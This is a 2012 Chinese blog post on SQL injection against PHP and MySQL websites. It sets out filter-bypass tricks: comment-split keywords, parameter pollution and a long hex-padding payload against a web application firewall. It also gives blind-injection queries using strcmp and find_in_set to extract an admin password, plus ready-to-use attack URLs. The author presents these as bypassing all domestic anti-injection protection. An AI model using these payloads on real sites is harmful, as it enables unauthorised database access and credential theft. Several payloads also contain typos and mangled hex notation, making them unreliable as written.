浅谈新型的sql注入测试

分类:安全 | 2012-02-25 | 撸过 51 次
0人扯谈

前段时间,帮别人看网站,习惯性的’,

and 1=1

其实知道这种肯定被过滤,但还是测试了

php+mysql

 

首先说判断:

 

Null值相信大家不陌生吧,可这么用:

and 1 is null,and 1 is not null

 

或: and 2<=3

 

其实,很多人习惯性的用=号来判断了,但是,如:

>= ,<= ,is null,is not null,<>

等 都可用于判断

 

接着说注入

 

对于注射取值,我们熟悉的就是union select 和 blind sqlinjection(盲注)

 

先说Union Select

 

对于常规的注射,我们可以

union select 1,2,3,4 或 union/**/select/**/ 1,2,3,4

 

Ok,看我演示,

id=1+u/**/nio/**/n+se/**/lect+1&id=2,3&id=4

够恶心吧?

 

可绕过国内所有防注射哦:) 这代码运行后效果如上,至于原理我希望大家自己去

 

查查相关资料,有异议的可给我留言.

 

当然,在语句传递多个参数时 例如

slect * from table where id = 1 and name = xxx

,我们可这么做:

 

id=1+union/*&name=*/select+1,2

 

代入查询后

slect * from table where id = 1 union /* and name = xxx */ select 1,2

 

这是一种让常量(变量)失效的技巧,当然,环境要求比较苛刻

 

下面说说Blind SqlIjection(盲注)

 

一般方式,我想大家应该是这么做的:

ascii(substring(password,1,1))=56

,或者是

 

ord(mid(password,1,1))=56

 

在此,我推荐大家还是用子查询,当然,前提是猜出表,字段,可更为准确的得到想得到的数据

 

此前,仍然向大家推荐一些新型的手法:

 

find_in_set 例: find_in_set(’56′,ascii(substr(password,1,1)))=1

 

strcmp 例: strcmp(left(‘password’,1), 0×56) = 1

 

将这些函数套如子查询就是:

 

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×55)=1 false

 

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×56)=0 true

 

id =1+and+strcmp(substring((sleect+password+from+admin+limit+0,1),1,1),0×57)=-1 false

 

老外NB 方法 还有 -.-

 

悲剧还是绕不过去,nnd。要是国内

 

的站以上几种方法一般都能搞定,老外就是bt。国外php 注射历史悠久手法独特+方法猥琐 射出几率相当高

 

https://www.webshell.cc/index.php?content=more_product&id=-17 and (select 1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6–+-

 

http://www.webshell.cc/index.php?content=more_product&id=-17 and (select 1)=(select

0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAA)+/*!union*/+select+1,concat_ws(0x7c,version(),database(),u

ser()),3,4,5,6–+-
本站内容均为原创,转载请务必保留署名与链接!
浅谈新型的sql注入测试:https://www.webshell.cc/3252.html

随机日志